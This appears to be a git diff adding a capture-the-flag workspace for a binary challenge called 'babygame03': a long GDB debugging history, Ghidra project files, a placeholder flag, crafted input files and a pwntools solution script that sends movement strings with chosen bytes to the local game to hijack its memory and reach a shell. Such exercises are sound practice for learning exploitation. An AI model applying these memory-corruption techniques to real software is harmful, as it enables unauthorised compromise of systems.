diff --git a/babygame03/.gdb_history b/babygame03/.gdb_history new file mode 100644 index 0000000..1b2dc95 --- /dev/null +++ b/babygame03/.gdb_history @@ -0,0 +1,256 @@ +c +c +x/40x 0xffffbd00 +c +c +run +c +run +c +x/40x 0xffffbd00 +c +run +exit +b *move_player +run < out +c +c +x/40x 0xffffbd00 +c +x/40x 0xffffbd00 +disassemble main +b *main+39 +run < out +stack +stack 20 +clear *main+3 +clear *main+39 +b *main+93 +run < out +stack 20 +stack 20 +stack 40 +stack 60 +stack 80 +stack 100 +stack 200 +stack 100 +stack 110 +stack 400 +stack 1000 +stack 600 +stack 700 +stack 680 +stack 690 +stack 685 +stack 686 +stack 687 +stack 688 +stack 689 +stack 688 +x/x 0xffffdb0c +x/x 0xffffbd0c +continue +c +run < out +x/x 0xffffbd0c +c +continue +run < out +c +x/x 0xffffbd0c +c +x/x 0xffffbd0c +disassemble main +b *main+372 +x/x 0xffffbd0c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +c +b +clear 5 +exit +disassemble main +x/x 0xffffbd0c +b *move_player +run < out +x/x 0xffffbd0c +x/40x 0xffffbd00 +x/40x 0xffffcd00 +x/40x 0xffffbd00 +x/40x 0xffffbf00 +x/40x 0xffffbd00 +x/40x 0xffffbd00 +x/40x 0xffffbd00 +x/40x 0xffffc000 +x/40x 0xffffc400 +x/40x 0xffffc600 +x/40x 0xffffc800 +x/40x 0xffffc700 +x/40x 0xffffc780 +x/40x 0xffffbd00 +x/40x 0xffffc780 +x/x 0xffffc7ac +x/x 0xffffbd0c +x/40x 0xffffbd00 +exit +b *move_player +x/x 0xffffbd0c +x/x 0xffffc7ac +run < out2 +x/x 0xffffc7ac +x/x 0xffffbd0c +c +c +x/x 0xffffc7ac +c +x/x 0xffffc7ac +run < out2 +x/x 0xffffc7ac +x/x 0xffffbd0c +c +x/x 0xffffc7ac +c +x/x 0xffffc7ac +x/40x 0xffffbd00 +exit +disassemble main +disassemble move_player +b *move_player+8 +run +stack 20 +stack 30 +x/40x 0xffa890 +x/40x 0xffffa890 +exit +b *move_player+8 +run +stack 20 +c +c +stack 20 +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +x/40x 0xffffa890 +c +exit +exit +disassemble main +q +disassemble main +disassemble move_ +disassemble move_player +b *move_player+357 +run < out +c +run < out +c +exit +b *move_player+357 +run < out3 +c +stack 20 +x/40x 0xffffbce0 +x/40x 0xffffbcf0 +x/40x 0xffffbe00 +x/40x 0xffffbd0 +x/40x 0xffffbd00 +x/40x 0xffffbd2f +x/40x 0xffffbd00 +x/40x 0xffffbc00 +x/40x 0xffffbcd0 +stack 30 +stack 800 +stack 700 +stack 720 +stack 700 +stack 710 +stack 720 +disassemble main +stack 40 +stack -1 40 +stack 40 -1 +stack 40 -10 +stack 40 +stack 40 +x/40x 0xffffbcd0 +x/40x 0xffffbce0 +c +c +c +c +c +run < out3 +c +run +c +c +c +c +c +c +c +exit +disassemble move_player +b *move_player+357 +run < out2 +c +stack 40 +x/40x 0xffffbce0 +c +x/40x 0xffffbce0 +run < out2 +c +x/40x 0xffffbce0 +c +x/40x 0xffffbce0 +c +x/40x 0xffffbce0 +c +x/40x 0xffffbce0 +run < out2 +c +x/40x 0xffffbce0 +c +c +exit +disassemble main +b *main+378 +run < args +run < args +run < args +tic +exit diff --git a/babygame03/args b/babygame03/args new file mode 100644 index 0000000..9ba1048 --- /dev/null +++ b/babygame03/args @@ -0,0 +1,2 @@ +aaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpwsaaaaaaaawwwwswws + diff --git a/babygame03/babygame03.gpr b/babygame03/babygame03.gpr new file mode 100644 index 0000000..e69de29 diff --git a/babygame03/babygame03.lock b/babygame03/babygame03.lock new file mode 100644 index 0000000..0d0da89 --- /dev/null +++ b/babygame03/babygame03.lock @@ -0,0 +1,9 @@ +#Ghidra Lock File +#Mon Nov 18 09:14:36 CET 2024 +\ Supports\ File\ Channel\ Locking=Channel Lock +Hostname=theon-1 +OS\ Architecture=amd64 +OS\ Name=Linux +OS\ Version=6.11.6-arch1-1 +Timestamp=11/18/24, 9\:14\u202FAM +Username=maxime diff --git a/babygame03/babygame03.lock~ b/babygame03/babygame03.lock~ new file mode 100644 index 0000000..e69de29 diff --git a/babygame03/babygame03.rep/idata/00/00000001.prp b/babygame03/babygame03.rep/idata/00/00000001.prp new file mode 100644 index 0000000..42c9587 --- /dev/null +++ b/babygame03/babygame03.rep/idata/00/00000001.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/babygame03/babygame03.rep/idata/00/~00000001.db/db.23.gbf b/babygame03/babygame03.rep/idata/00/~00000001.db/db.23.gbf new file mode 100644 index 0000000..af8c7a5 Binary files /dev/null and b/babygame03/babygame03.rep/idata/00/~00000001.db/db.23.gbf differ diff --git a/babygame03/babygame03.rep/idata/00/~00000001.db/tmp4333563501973116122.ps b/babygame03/babygame03.rep/idata/00/~00000001.db/tmp4333563501973116122.ps new file mode 100644 index 0000000..f0f0e97 Binary files /dev/null and b/babygame03/babygame03.rep/idata/00/~00000001.db/tmp4333563501973116122.ps differ diff --git a/babygame03/babygame03.rep/idata/~index.bak b/babygame03/babygame03.rep/idata/~index.bak new file mode 100644 index 0000000..d9555ab --- /dev/null +++ b/babygame03/babygame03.rep/idata/~index.bak @@ -0,0 +1,7 @@ +VERSION=1 +/ + 00000001:game:ac10290b32f38007603038077 +/New Traces + 00000002:Emulate game:ac10290839926930849280384 +NEXT-ID:3 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/babygame03/babygame03.rep/idata/~index.dat b/babygame03/babygame03.rep/idata/~index.dat new file mode 100644 index 0000000..25c41e9 --- /dev/null +++ b/babygame03/babygame03.rep/idata/~index.dat @@ -0,0 +1,5 @@ +VERSION=1 +/ + 00000001:game:ac10290b32f38007603038077 +NEXT-ID:3 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/babygame03/babygame03.rep/idata/~journal.bak b/babygame03/babygame03.rep/idata/~journal.bak new file mode 100644 index 0000000..d39a8f1 --- /dev/null +++ b/babygame03/babygame03.rep/idata/~journal.bak @@ -0,0 +1,2 @@ +IDEL:/New Traces/Emulate game +FDEL:/New Traces diff --git a/babygame03/babygame03.rep/project.prp b/babygame03/babygame03.rep/project.prp new file mode 100644 index 0000000..de705bd --- /dev/null +++ b/babygame03/babygame03.rep/project.prp @@ -0,0 +1,6 @@ + + + + + + diff --git a/babygame03/babygame03.rep/projectState b/babygame03/babygame03.rep/projectState new file mode 100644 index 0000000..2d6f28c --- /dev/null +++ b/babygame03/babygame03.rep/projectState @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/babygame03/babygame03.rep/user/00/00000001.prp b/babygame03/babygame03.rep/user/00/00000001.prp new file mode 100644 index 0000000..6351d88 --- /dev/null +++ b/babygame03/babygame03.rep/user/00/00000001.prp @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/babygame03/babygame03.rep/user/00/~00000001.db/db.2.gbf b/babygame03/babygame03.rep/user/00/~00000001.db/db.2.gbf new file mode 100644 index 0000000..195d7ff Binary files /dev/null and b/babygame03/babygame03.rep/user/00/~00000001.db/db.2.gbf differ diff --git a/babygame03/babygame03.rep/user/00/~00000001.db/tmp17811661305406265712.ps b/babygame03/babygame03.rep/user/00/~00000001.db/tmp17811661305406265712.ps new file mode 100644 index 0000000..bf73811 Binary files /dev/null and b/babygame03/babygame03.rep/user/00/~00000001.db/tmp17811661305406265712.ps differ diff --git a/babygame03/babygame03.rep/user/~index.bak b/babygame03/babygame03.rep/user/~index.bak new file mode 100644 index 0000000..7d063b8 --- /dev/null +++ b/babygame03/babygame03.rep/user/~index.bak @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:1 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/babygame03/babygame03.rep/user/~index.dat b/babygame03/babygame03.rep/user/~index.dat new file mode 100644 index 0000000..1c6e1e1 --- /dev/null +++ b/babygame03/babygame03.rep/user/~index.dat @@ -0,0 +1,5 @@ +VERSION=1 +/ + 00000001:udf_ac10290b32f38007603038077:ac10290b31146457713312322 +NEXT-ID:2 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/babygame03/babygame03.rep/user/~journal.bak b/babygame03/babygame03.rep/user/~journal.bak new file mode 100644 index 0000000..13c606a --- /dev/null +++ b/babygame03/babygame03.rep/user/~journal.bak @@ -0,0 +1,2 @@ +IADD:00000001:/udf_ac10290b32f38007603038077 +IDSET:/udf_ac10290b32f38007603038077:ac10290b31146457713312322 diff --git a/babygame03/babygame03.rep/versioned/~index.bak b/babygame03/babygame03.rep/versioned/~index.bak new file mode 100644 index 0000000..b1e697f --- /dev/null +++ b/babygame03/babygame03.rep/versioned/~index.bak @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:0 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/babygame03/babygame03.rep/versioned/~index.dat b/babygame03/babygame03.rep/versioned/~index.dat new file mode 100644 index 0000000..b1e697f --- /dev/null +++ b/babygame03/babygame03.rep/versioned/~index.dat @@ -0,0 +1,4 @@ +VERSION=1 +/ +NEXT-ID:0 +MD5:d41d8cd98f00b204e9800998ecf8427e diff --git a/babygame03/flag.txt b/babygame03/flag.txt new file mode 100644 index 0000000..0c832bb --- /dev/null +++ b/babygame03/flag.txt @@ -0,0 +1 @@ +flag{test} diff --git a/babygame03/game b/babygame03/game new file mode 100755 index 0000000..1d52406 Binary files /dev/null and b/babygame03/game differ diff --git a/babygame03/mkstr.py b/babygame03/mkstr.py new file mode 100755 index 0000000..fb4c393 --- /dev/null +++ b/babygame03/mkstr.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 +from pwn import * + +a = 'aaaa'+'a'*4+'wwwws' +b = 'a'*47+'lp'+'ws' + +s = a+'p' +a+'p' +a+'p' +a +b +a +'wws\n' + +print(s) + diff --git a/babygame03/out b/babygame03/out new file mode 100644 index 0000000..b958f1b --- /dev/null +++ b/babygame03/out @@ -0,0 +1 @@ +aaaaaaaawwwws diff --git a/babygame03/out2 b/babygame03/out2 new file mode 100644 index 0000000..dfc2286 --- /dev/null +++ b/babygame03/out2 @@ -0,0 +1 @@ +aaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpws diff --git a/babygame03/out3 b/babygame03/out3 new file mode 100644 index 0000000..b958f1b --- /dev/null +++ b/babygame03/out3 @@ -0,0 +1 @@ +aaaaaaaawwwws diff --git a/babygame03/sol.py b/babygame03/sol.py new file mode 100755 index 0000000..4c61094 --- /dev/null +++ b/babygame03/sol.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +from pwn import * + +s = b'aaaa'+b'a'*4+b'wwwws' + +conn = process(["./game"]) +for i in range(3): + conn.sendline(s) + conn.sendline(b'p') +conn.sendline(s) +conn.sendline(b'a'*47+b'l\x70'+b'ws') +conn.sendline(s) +conn.sendline(b'wws') +conn.sendline(b'a'*47+b'l\xfe'+b'w') +conn.interactive() +